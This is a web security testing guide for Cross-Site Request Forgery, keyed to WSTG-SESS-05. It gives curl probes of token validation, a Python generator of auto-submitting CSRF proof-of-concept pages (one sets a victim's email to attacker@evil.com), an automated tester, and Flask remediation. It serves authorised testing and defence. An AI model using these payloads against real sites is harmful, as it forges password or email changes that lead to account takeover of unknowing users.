cyberstrikeus wstg-sess-05
Test ID
WSTG-SESS-05
Test Name
Testing for Cross Site Request Forgery (CSRF)
High-Level Description
Cross-Site Request Forgery (CSRF) forces authenticated users to execute unwanted actions on a web application. Attackers craft malicious requests that are automatically sent by the victim's browser with their session credentials, allowing unauthorized actions like password changes, fund transfers, or data modifications.
What to Check
- CSRF token implementation
- Token validation on server
- SameSite cookie attribute
- Origin/Referer validation
- State-changing GET requests
- Token uniqueness and randomness
How to Test
Step 1: Identify State-Changing Operations
# Find endpoints that modify data
# Look for: POST, PUT, DELETE, PATCH requests
# Examples:
# - Password change
# - Email update
# - Fund transfer
# - Settings modification
# - Account deletion
# Capture requests with Burp and identify:
# 1. Endpoints that change state
# 2. Presence of CSRF tokens
# 3. Token validation behavior
Step 2: Check for CSRF Tokens
#!/bin/bash
TARGET="https://target.com"
# Get authenticated page with form
page=$(curl -s -b "session=valid_session" "$TARGET/settings")
# Look for CSRF tokens
echo "$page" | grep -iE "csrf|token|_token|authenticity" | head -10
# Common token names:
# csrf_token, _csrf, csrfmiddlewaretoken, __RequestVerificationToken
# authenticity_token, _token, XSRF-TOKEN
Step 3: Test Token Validation
#!/bin/bash
TARGET="https://target.com"
SESSION="valid_session_cookie"
# Test 1: Request without token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123"}'
# Test 2: Request with empty token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":""}'
# Test 3: Request with invalid token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":"invalid123"}'
# Test 4: Request with another user's token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":"other_user_token"}'
Step 4: CSRF PoC Generator
#!/usr/bin/env python3
class CSRFPoCGenerator:
def generate_form_poc(self, target_url, method, params, auto_submit=True):
"""Generate HTML form CSRF PoC"""
html = f"""<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form id="csrf_form" action="{target_url}" method="{method}">
"""
for name, value in params.items():
html += f' <input type="hidden" name="{name}" value="{value}" />\n'
html += """ <input type="submit" value="Submit" />
</form>
"""
if auto_submit:
html += """ <script>
document.getElementById('csrf_form').submit();
</script>
"""
html += """</body>
</html>"""
return html
def generate_img_poc(self, target_url):
"""Generate image-based CSRF PoC (for GET)"""
return f"""<!DOCTYPE html>
<html>
<body>
<img src="{target_url}" style="display:none" />
</body>
</html>"""
def generate_xhr_poc(self, target_url, method, data, content_type="application/json"):
"""Generate XHR CSRF PoC"""
return f"""<!DOCTYPE html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("{method}", "{target_url}", true);
xhr.setRequestHeader("Content-Type", "{content_type}");
xhr.withCredentials = true;
xhr.send('{data}');
</script>
</body>
</html>"""
def generate_fetch_poc(self, target_url, method, data):
"""Generate Fetch API CSRF PoC"""
return f"""<!DOCTYPE html>
<html>
<body>
<script>
fetch("{target_url}", {{
method: "{method}",
credentials: "include",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({data})
}});
</script>
</body>
</html>"""
# Usage
generator = CSRFPoCGenerator()
# Form-based PoC
form_poc = generator.generate_form_poc(
"https://target.com/change-email",
"POST",
{"email": "attacker@evil.com"}
)
print(form_poc)
Step 5: Comprehensive CSRF Tester
#!/usr/bin/env python3
import requests
import re
from bs4 import BeautifulSoup
class CSRFTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.findings = []
def authenticate(self, login_endpoint, credentials):
"""Authenticate and get session"""
self.session.post(f"{self.base_url}{login_endpoint}", data=credentials)
def test_endpoint(self, endpoint, method, data):
"""Test single endpoint for CSRF"""
print(f"\n[*] Testing {method} {endpoint}")
# Test 1: Without CSRF token
print(" [1] Testing without token...")
response = self._make_request(endpoint, method, data, include_token=False)
if response.status_code in [200, 201, 302]:
print(" [VULN] Request accepted without CSRF token")
self.findings.append({
"endpoint": endpoint,
"issue": "No CSRF token required",
"severity": "High"
})
# Test 2: With empty token
print(" [2] Testing with empty token...")
data_with_empty = {**data, "csrf_token": ""}
response = self._make_request(endpoint, method, data_with_empty)
if response.status_code in [200, 201, 302]:
print(" [VULN] Empty CSRF token accepted")
self.findings.append({
"endpoint": endpoint,
"issue": "Empty CSRF token accepted",
"severity": "High"
})
# Test 3: With invalid token
print(" [3] Testing with invalid token...")
data_with_invalid = {**data, "csrf_token": "invalid_token_123"}
response = self._make_request(endpoint, method, data_with_invalid)
if response.status_code in [200, 201, 302]:
print(" [VULN] Invalid CSRF token accepted")
self.findings.append({
"endpoint": endpoint,
"issue": "Invalid CSRF token accepted",
"severity": "High"
})
def _make_request(self, endpoint, method, data, include_token=True):
"""Make request with/without token"""
url = f"{self.base_url}{endpoint}"
if method.upper() == "POST":
return self.session.post(url, data=data)
elif method.upper() == "PUT":
return self.session.put(url, json=data)
elif method.upper() == "DELETE":
return self.session.delete(url)
return None
def check_samesite_cookie(self):
"""Check SameSite cookie attribute"""
print("\n[*] Checking SameSite cookie attribute...")
response = self.session.get(self.base_url)
for cookie in self.session.cookies:
# Check raw Set-Cookie header for SameSite
print(f" Cookie: {cookie.name}")
# Note: requests doesn't expose SameSite directly
def generate_report(self):
"""Generate CSRF test report"""
print("\n" + "="*50)
print("CSRF TESTING REPORT")
print("="*50)
if not self.findings:
print("\nNo CSRF vulnerabilities found.")
return
print(f"\nVulnerabilities: {len(self.findings)}")
for f in self.findings:
print(f"\n Endpoint: {f['endpoint']}")
print(f" Issue: {f['issue']}")
print(f" Severity: {f['severity']}")
# Usage
tester = CSRFTester("https://target.com")
tester.authenticate("/login", {"username": "test", "password": "test"})
tester.test_endpoint("/api/change-email", "POST", {"email": "new@email.com"})
tester.test_endpoint("/api/change-password", "POST", {"password": "newpass"})
tester.generate_report()
Remediation Guide
1. Implement CSRF Tokens
# Flask with Flask-WTF
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
# In template
# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>
2. SameSite Cookies
app.config.update(
SESSION_COOKIE_SAMESITE='Strict',
SESSION_COOKIE_SECURE=True,
)
3. Origin Validation
@app.before_request
def validate_origin():
if request.method in ['POST', 'PUT', 'DELETE']:
origin = request.headers.get('Origin')
referer = request.headers.get('Referer')
allowed_origins = ['https://example.com']
if origin and origin not in allowed_origins:
abort(403)
Risk Assessment
| Finding | CVSS | Severity |
|---|---|---|
| No CSRF protection | 8.8 | High |
| Token not validated | 8.8 | High |
| GET for state changes | 6.5 | Medium |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-352 | Cross-Site Request Forgery (CSRF) |
Checklist
[ ] State-changing operations identified
[ ] CSRF token presence checked
[ ] Token validation tested
[ ] SameSite cookies checked
[ ] GET requests for state changes identified
[ ] PoC created for vulnerabilities
[ ] Findings documented
[ ] Remediation provided